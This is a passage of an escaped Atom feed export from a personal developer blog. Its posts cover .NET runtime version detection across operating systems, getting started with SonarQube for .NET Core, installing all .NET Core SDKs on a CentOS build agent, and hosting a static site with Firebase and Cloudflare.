&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgK133xvwboX5EL-PhJ0phEGgzOpMytrRW7BuYjaWnGjGT7h8iqIHHN0NYSkWtSXtRnyCjpzsXravF1b1okp0kjHq4v_UdwEim-3DMrjZpV72HDGguyuBNZKhUenr0R3QVj7L8OVAocxOg/s1600/WSL.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;99&quot; data-original-width=&quot;579&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgK133xvwboX5EL-PhJ0phEGgzOpMytrRW7BuYjaWnGjGT7h8iqIHHN0NYSkWtSXtRnyCjpzsXravF1b1okp0kjHq4v_UdwEim-3DMrjZpV72HDGguyuBNZKhUenr0R3QVj7L8OVAocxOg/s1600/WSL.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Although I&#39;ve installed the same SDK version on both Win7 and Ubuntu, the latter is returning only 4.6.0.0 compared to&amp;nbsp;4.6.26212.01 returned on Windows.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2 style=&quot;clear: both; text-align: left;&quot;&gt;
Windows 10 Pro&lt;/h2&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Straight forward. I have .NET Framework 4.7.1 and Visual Studio on this box so it built and ran without issues.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5yg-TUKp_19Naf3nI4RJQN9c1QN2lOT3o41AJg8Zgp5VdwhXhOMyot-unZdeieMZHsGzuqYwml1tvezr_-6yXnVu_7Eq_VOpAw1oS_YCy_xOgBBx1avBDymOsZQr32HmYWeDwkl2myPI/s1600/Win10.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;152&quot; data-original-width=&quot;515&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5yg-TUKp_19Naf3nI4RJQN9c1QN2lOT3o41AJg8Zgp5VdwhXhOMyot-unZdeieMZHsGzuqYwml1tvezr_-6yXnVu_7Eq_VOpAw1oS_YCy_xOgBBx1avBDymOsZQr32HmYWeDwkl2myPI/s1600/Win10.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The first item is created by the net40 version of the app. Since it doesn&#39;t have the same APIs as net45+. It&#39;s using Environment.Version mentioned above which is far from ideal.&lt;/div&gt;
&lt;div&gt;
The rest of the results are OK with the exception of the &quot;or higher&quot; which came as a result of the version being higher than&amp;nbsp;461308. I&#39;ll need to rework this too.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
CentOS 7&lt;/h2&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Using the official &lt;a href=&quot;https://www.microsoft.com/net/download/linux-package-manager/centos/sdk-2.1.101&quot;&gt;.NET Core&lt;/a&gt; and &lt;a href=&quot;https://www.mono-project.com/download/stable/#download-lin-centos&quot;&gt;Mono&lt;/a&gt; install links I got their SDKs installed really quickly.&lt;/div&gt;
&lt;div&gt;
Latest Mono version: 5.10.1.20 and .NET Core SDK 2.1.101&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Pull the code, pushed the nuget package to the checkout directory and ran &lt;b&gt;./run.sh&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Works fine and I get some events at sentry.io.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjrkfgqQJQr7RmfO3DgJ3VDkvcyH2ImXbRPr26ISEZSyXQwao1kN6NMyuwkDp0sz3R0JEm5Mi2SmdEVoaOcUghjjjbf8e9PeavZg8SO3z0F2sX8anmG8hQOPTAVZDAY14If07k1Znt95s/s1600/CentOS.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;105&quot; data-original-width=&quot;654&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjrkfgqQJQr7RmfO3DgJ3VDkvcyH2ImXbRPr26ISEZSyXQwao1kN6NMyuwkDp0sz3R0JEm5Mi2SmdEVoaOcUghjjjbf8e9PeavZg8SO3z0F2sX8anmG8hQOPTAVZDAY14If07k1Znt95s/s1600/CentOS.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Like the Ubuntu version, .NET Core only include the &lt;i&gt;major &lt;/i&gt;and &lt;i&gt;minor&lt;/i&gt;&amp;nbsp;version numbers of the CoreCLR.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
macOS&lt;/h2&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The macOS device is my work computer so I might have installed reference assemblies before, I don&#39;t remember. Things ran just fine and the Mono version there is &lt;b&gt;5.8:&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_07OY20hciWNT5ejjHnWFO5T8SThdWgW0M5EdT_E8xXDx9bCvaZu5eTz0L9x4I9fOaul2XJvsLNSPs__CNSJTs70XQSxiPXoSf_F4Niqkv5uuaCqWpCPtHR4hOns7CVN4TZA8eiMBgzg/s1600/macOS.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;131&quot; data-original-width=&quot;768&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_07OY20hciWNT5ejjHnWFO5T8SThdWgW0M5EdT_E8xXDx9bCvaZu5eTz0L9x4I9fOaul2XJvsLNSPs__CNSJTs70XQSxiPXoSf_F4Niqkv5uuaCqWpCPtHR4hOns7CVN4TZA8eiMBgzg/s1600/macOS.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
It seems that only on Windows the API&amp;nbsp;&lt;b&gt;RuntimeInformation.FrameworkDescription &lt;/b&gt;returns the whole version number including build and revision.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
Other system information&lt;/h2&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Above I&#39;ve discussed only the &#39;Runtime&#39; context information that Sentry handles. There&#39;s much more data that Sentry&#39;s SDK will extract and send with events. Lots of them are challenging when multi-targeting from netstandard2.0 all the way down to net35 and running on Windows, macOS, Linux, Tyzen, iOS, WebAssembly (blazor?) and whatever else we can use a .NET NuGet package in now and in the future.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
Conclusion&lt;/h2&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I still have a lot of work ahead to get this context data sent to sentry in a unambiguous way. This was just the first try though.&lt;/div&gt;
&lt;/span&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/5868637482226079761/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2018/04/net-runtime-information-in-different.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/5868637482226079761'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/5868637482226079761'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2018/04/net-runtime-information-in-different.html' title='.NET runtime information in different systems'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc_BsabKARr4uXvrseHgPpFfC2_FsBlt7wIHF-JzRCqY6KVLzZGTz2wAqSGXaLWF2yKIOjvfnuW-wT8K1QlA0lH0NAteiKv6mF4gToxpn1m_c8a2jiMJgCCHfkRH_T6Gc4cyyzsHyUbmE/s72-c/Win7x86.PNG" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-1393242917741018992</id><published>2018-03-04T18:02:00.000+01:00</published><updated>2018-03-04T18:12:11.279+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".NET Core"/><category scheme="http://www.blogger.com/atom/ns#" term="DevOps"/><category scheme="http://www.blogger.com/atom/ns#" term="SonarCloud"/><category scheme="http://www.blogger.com/atom/ns#" term="SonarLint"/><category scheme="http://www.blogger.com/atom/ns#" term="SonarQube"/><title type='text'>Getting started with SonarQube and .NET Core</title><content type='html'>&lt;h2&gt;
SonarQube&amp;nbsp;&lt;/h2&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
I decided to check SonarQube now that it finally&amp;nbsp;&lt;a href=&quot;https://blog.sonarsource.com/supporting-analysis-of-net-core-projects&quot;&gt;supports .NET Core&lt;/a&gt;&amp;nbsp;and the new MSBuild SDK format.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://www.sonarqube.org/&quot;&gt;SonarQube &lt;/a&gt;is an open source product from &lt;a href=&quot;https://www.sonarsource.com/&quot;&gt;SonarSource&lt;/a&gt;. They have a hosted instance called &lt;a href=&quot;https://about.sonarcloud.io/&quot;&gt;SonarCloud &lt;/a&gt;which is &lt;b&gt;free for open source&lt;/b&gt; projects! Besides SonarQube, there&#39;s also an IDE plugin called &lt;a href=&quot;https://www.sonarlint.org/&quot;&gt;SonarLint&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
SonarLint&lt;/h3&gt;
&lt;div&gt;
I started testing SonarLint out to see if it was even worth setting up SonarCloud. As a test project I picked a&amp;nbsp;&lt;a href=&quot;https://github.com/bruno-garcia/Bazinga.AspNetCore.Authentication.Basic&quot;&gt;tiny OSS library I wrote a few months ago for ASP.NET Core Basic Authentication&lt;/a&gt;.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;a href=&quot;https://www.sonarlint.org/&quot;&gt;SonarLint &lt;/a&gt;will run the analysis while using the IDE&#39;s Error/Warning panels to notify you when it finds something. Although they support IntelliJ IDEA, the support doesn&#39;t include &lt;b&gt;Rider&lt;/b&gt;. The support to &lt;a href=&quot;https://www.sonarlint.org/vscode/index.html&quot;&gt;&lt;b&gt;VSCode&lt;/b&gt; doesn&#39;t include C# either&lt;/a&gt;. Bummer. But honestly there&#39;s still no code coverage for CoreCLR yet outside of Windows either.&lt;br /&gt;
&lt;br /&gt;
I tested the Visual Studio plugin and ironically, I was happy to see a warning:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDldG9mg3kPTTfnq-oBsCiJMdQ5VSUHrW5cY_xra6QQ2PPZnS8_eUp8UYkDxcZJUICc_r0zkh7xKCKuG0ySk3a7HHvd8_WNELp8FLm0KHYUl65yei-Jj8reLOkiYE4WoK1cBL4ChK5w7Y/s1600/SonarLint+warning.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;112&quot; data-original-width=&quot;980&quot; height=&quot;72&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDldG9mg3kPTTfnq-oBsCiJMdQ5VSUHrW5cY_xra6QQ2PPZnS8_eUp8UYkDxcZJUICc_r0zkh7xKCKuG0ySk3a7HHvd8_WNELp8FLm0KHYUl65yei-Jj8reLOkiYE4WoK1cBL4ChK5w7Y/s640/SonarLint+warning.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Indeed. I should make that class static.&lt;br /&gt;
&lt;br /&gt;
I happen to have ReSharper which is a great (paid) tool by JetBrains. I ran its Inspection/&lt;i&gt;Code issues in Solution&lt;/i&gt; and it didn&#39;t pick this one up. JetBrains &lt;b&gt;Rider&lt;/b&gt; which I use on my work computer (macOS) has the same inspection feature. They do give awesome feedback even though there&#39;s no warning for this specific issue.&lt;br /&gt;
Please note that both are amazing tools. In any case, it&#39;s hard to expect that all contributors of an OSS project will have licenses. &lt;a href=&quot;https://www.jetbrains.com/buy/opensource/&quot;&gt;JetBrains provide licenses to open source project maintainers&lt;/a&gt; but not for such small projects like the ones I have.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Running the analysis&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Now that I had a project with a warning, I could test running the analysis scanner on my machine and see what the results look like on the hosted instance SonarCloud. The analysis scanner (although requires &lt;b&gt;Mono&lt;/b&gt;, &lt;b&gt;.NET Core&lt;/b&gt; and &lt;b&gt;Java&lt;/b&gt;)&amp;nbsp;&lt;a href=&quot;https://docs.sonarqube.org/display/SCAN/Scanning+on+Linux+or+macOS&quot;&gt;can be executed on macOS and Linux&lt;/a&gt;&amp;nbsp;but as today I&#39;m on a Windows 10 box, I followed &lt;a href=&quot;https://docs.sonarqube.org/display/SCAN/Scanning+on+Windows&quot;&gt;this guide&lt;/a&gt;. The only thing I did differently was that I didn&#39;t invoke MSBuild directly, I used the CLI:&amp;nbsp;&lt;b&gt;dotnet build &lt;/b&gt;instead. It&#39;s really just 3 commands including your build command.&lt;br /&gt;
&lt;br /&gt;
I was sad to discover that it requires Java in order to run the &lt;i&gt;MSBuild scanner&lt;/i&gt;. I&#39;ve got a clean Windows 10 install a few months ago and I was very happy not to have Java installed. SonarQube is nice enough to convince me to install it though. Can&#39;t wait to see those Java update notifications every week!&lt;br /&gt;
&lt;br /&gt;
The analysis took quite a while to run (over 5 minutes). Perhaps because it was the first run, but the report was sent!&lt;br /&gt;
&lt;br /&gt;
The link to the results is part of the output:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNllJtXO3fThTEl5bQjkW7i8HlPv1j84TG-uKe_sJE0Y1ImltUMP5sSf5IV_EHxZiRjax1aDAkbmXf0cr8L3o2lRCph60dszA8pPJOTLjsFQE7NrCeiqoRtihdV_fQzWXzV3Hcu_zz0NM/s1600/SonarQube+results.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;164&quot; data-original-width=&quot;875&quot; height=&quot;118&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNllJtXO3fThTEl5bQjkW7i8HlPv1j84TG-uKe_sJE0Y1ImltUMP5sSf5IV_EHxZiRjax1aDAkbmXf0cr8L3o2lRCph60dszA8pPJOTLjsFQE7NrCeiqoRtihdV_fQzWXzV3Hcu_zz0NM/s640/SonarQube+results.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Now I can browse the results at:&amp;nbsp;&lt;a href=&quot;https://sonarcloud.io/dashboard?id=Bazinga.AspNetCore.Authentication.Basic&quot;&gt;https://sonarcloud.io/dashboard?id=Bazinga.AspNetCore.Authentication.Basic&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZheRW3TOC-oWpD1L0VpvLkPRlSxXetlrT3Y0HGqzQb23A_G9z5kKU30yMwEG_tPrDfKpwqMQGjUlSIEJv3Vcil3mR8PQlgXTXlPrL601ETWvatwoCAD-29tdz4zdI1OeVe6a933ZAy88/s1600/SonarCloud.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;535&quot; data-original-width=&quot;817&quot; height=&quot;419&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZheRW3TOC-oWpD1L0VpvLkPRlSxXetlrT3Y0HGqzQb23A_G9z5kKU30yMwEG_tPrDfKpwqMQGjUlSIEJv3Vcil3mR8PQlgXTXlPrL601ETWvatwoCAD-29tdz4zdI1OeVe6a933ZAy88/s640/SonarCloud.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
It was a good quick &lt;i&gt;getting started&lt;/i&gt; for me. I&#39;ll consider it now for bigger projects too and explore the many features it has.</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/1393242917741018992/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2018/03/getting-started-with-sonarqube-and-net.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/1393242917741018992'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/1393242917741018992'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2018/03/getting-started-with-sonarqube-and-net.html' title='Getting started with SonarQube and .NET Core'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDldG9mg3kPTTfnq-oBsCiJMdQ5VSUHrW5cY_xra6QQ2PPZnS8_eUp8UYkDxcZJUICc_r0zkh7xKCKuG0ySk3a7HHvd8_WNELp8FLm0KHYUl65yei-Jj8reLOkiYE4WoK1cBL4ChK5w7Y/s72-c/SonarLint+warning.PNG" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-6560620821623205544</id><published>2018-02-12T14:13:00.001+01:00</published><updated>2018-02-14T09:55:56.349+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".NET Core"/><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="yum"/><title type='text'>CentOS build agent and .NET Core SDK versions</title><content type='html'>Our build server running on CentOS ends up building different repos, which use different versions of the .NET Core SDK.&lt;br /&gt;
&lt;br /&gt;
The SDK version is defined via &lt;b&gt;global.json&lt;/b&gt;&amp;nbsp;and instructs the CLI which version to load in that context.&lt;br /&gt;
&lt;br /&gt;
Surely the CLI is smart enough to roll forward. That means in case you target version &lt;b&gt;2.0.2 &lt;/b&gt;and the machine only has &lt;b&gt;2.0.3&lt;/b&gt;, it will (should) work just fine with that version.&lt;br /&gt;
&lt;br /&gt;
I&#39;ve tested setting my global.json to &lt;b&gt;2.0.2&lt;/b&gt; where only SDK version &lt;b&gt;2.0.0&lt;/b&gt; was available:&lt;br /&gt;
&lt;b&gt;$ dotnet --version&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;2.0.0&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Surprising to me it built and tests passed without warnings. So it also rolls backwards somehow.&lt;br /&gt;
&lt;br /&gt;
When the exact SDK version defined via &lt;b&gt;global.json&lt;/b&gt;&amp;nbsp;is available, that&#39;s the one used by the CLI.&lt;br /&gt;
I believe that&#39;s a safer approach to have on a build server. Which means having all SDK versions in all agents.&lt;br /&gt;
&lt;br /&gt;
That is, regardless which agent the build runs, it&#39;ll always use the same SDK version. Otherwise potentially one agent, created at a later time, could lack the exact SDK version used via &lt;b&gt;global.json.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Installing all SDK versions&lt;/h3&gt;
&lt;br /&gt;
Using &lt;b&gt;yum&lt;/b&gt;&#39;s wildcard, it&#39;s easy enough to install every single .NET Core SDK available on the official Microsoft feed, simply by:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;$ sudo yum install dotnet-sdk-*&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
As an example, this agent had only the SDK version 2.1.4 (the latest one).&lt;br /&gt;
&lt;br /&gt;
By running&amp;nbsp;&lt;b&gt;yum install dotnet-&lt;/b&gt;&lt;b&gt;sdk-*&lt;/b&gt;&amp;nbsp;on this machine:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;b&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIJtmq7YiQrhLX1XMXzy8D7lhB8G6oj9mjhHKJRwiYD0SH2Xj5EKS8-rWp9eqDFAEkcntOM74hI6ATgZXHZXipMnJ8HYq6L3Ju9p2x0JzlK31nHOgMITbMPCCcNFOD779Ou8DpQfv4pls/s1600/Screen+Shot+2018-02-12+at+1.23.20+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;681&quot; data-original-width=&quot;973&quot; height=&quot;444&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIJtmq7YiQrhLX1XMXzy8D7lhB8G6oj9mjhHKJRwiYD0SH2Xj5EKS8-rWp9eqDFAEkcntOM74hI6ATgZXHZXipMnJ8HYq6L3Ju9p2x0JzlK31nHOgMITbMPCCcNFOD779Ou8DpQfv4pls/s640/Screen+Shot+2018-02-12+at+1.23.20+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Easy enough.&lt;br /&gt;
&lt;br /&gt;
All SDK versions made available by Microsoft are now installed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/6560620821623205544/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2018/02/centos-build-agent-and-net-core-sdk.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/6560620821623205544'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/6560620821623205544'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2018/02/centos-build-agent-and-net-core-sdk.html' title='CentOS build agent and .NET Core SDK versions'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIJtmq7YiQrhLX1XMXzy8D7lhB8G6oj9mjhHKJRwiYD0SH2Xj5EKS8-rWp9eqDFAEkcntOM74hI6ATgZXHZXipMnJ8HYq6L3Ju9p2x0JzlK31nHOgMITbMPCCcNFOD779Ou8DpQfv4pls/s72-c/Screen+Shot+2018-02-12+at+1.23.20+PM.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-6196748559465205329</id><published>2018-02-04T16:58:00.000+01:00</published><updated>2018-02-14T09:56:23.986+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cloudflare"/><category scheme="http://www.blogger.com/atom/ns#" term="firebase"/><title type='text'>Hosting a static site over HTTPS for free</title><content type='html'>I own the domain &lt;i&gt;&lt;a href=&quot;https://whois.icann.org/en/lookup?name=brunogarcia.com&quot;&gt;brunogarcia.com&lt;/a&gt;&lt;/i&gt;&amp;nbsp;for over 10 years now. The use I have of it is basically an e-mail address and this blog which for years I didn&#39;t post new content to.&lt;br /&gt;
&lt;br /&gt;
Yesterday I decided it was time to add a landing page to it.&lt;br /&gt;
&lt;br /&gt;
With the amazing artistic skills I possess, I sat in front of the PC and spent more time than I&#39;m willing to admit thinking of what to do and messing around with HTML and CSS. After a lot of back and forth I deleted any framework from it and the &lt;a href=&quot;https://github.com/bruno-garcia/brunogarcia.com&quot;&gt;result was 1 image, a favicon and 5 links (sigh).&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
I have no intention of making profit from my art so I&#39;ve &lt;a href=&quot;http://www.favicon.cc/?action=icon&amp;amp;file_id=913475&quot;&gt;published my &lt;i&gt;favicon&lt;/i&gt;&amp;nbsp;via&amp;nbsp;Creative Commons&lt;/a&gt;.&lt;br /&gt;
Feel free to use, redistribute and make lots of money from it.&lt;br /&gt;
&lt;br /&gt;
At that point I had a couple files to publish.&lt;br /&gt;
As a .NET guy, I started off considering Microsoft&#39;s Azure. I&#39;ve hosted stuff there for free before. That was when I used it for the first time back in 2011 or 2012 when they had a Silverlight portal. There were not many features (compared to now) but it was straight forward to host a .NET app.&lt;br /&gt;
Azure grew to an amazing cloud service with so many options and amazing (and slow) portal to configure everything.&lt;br /&gt;
&lt;br /&gt;
This time though, all I had was just a handful static files. I didn&#39;t need an app server!&lt;br /&gt;
&lt;br /&gt;
I couldn&#39;t find a way to host at either Azure nor Google Cloud, &lt;b&gt;for free&lt;/b&gt;, a static site under my own domain so I could use Let&#39;s Encrypt and have a free certificate. There were options only using CNAME but that was not an option since the TLS certificate would invalidate.&lt;br /&gt;
&lt;br /&gt;
After a bit of a research I discovered&amp;nbsp;&lt;b&gt;Firebase&lt;/b&gt;. Super simple setup. The portal just walks you through. Free hosting of static files and a nice &lt;i&gt;nodejs &lt;/i&gt;deployment tool that you can pull off of &lt;i&gt;npm. &lt;/i&gt;It allows you add your own domain with TLS. Easy redirect from HTTP to HTTPS. It just took 5 minutes!&lt;br /&gt;
&lt;br /&gt;
After that I decided to check out &lt;b&gt;Cloudflare&lt;/b&gt;. Again super easy to setup. Fast and free and again with a valid certificate and all traffic through HTTPS. With a single rule I was able to &lt;a href=&quot;https://support.cloudflare.com/hc/en-us/articles/200172256-How-do-I-cache-static-HTML-&quot;&gt;enable caching of the HTML file&lt;/a&gt; too. To hit the back end directly, bypassing Cloudflare, there&#39;s a single button: &lt;b&gt;Enable development mode.&lt;/b&gt; That changes the DNS records from Cloudflare servers directly to Firebase. It&#39;s virtually instant too.&lt;br /&gt;
&lt;br /&gt;
Another cool thing about Cloudflare is the Overview page. I don&#39;t have 24 hours of data yet so part of the analytics is empty but I have some DNS statistics. Including &lt;i&gt;Top Traffic Origins:&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
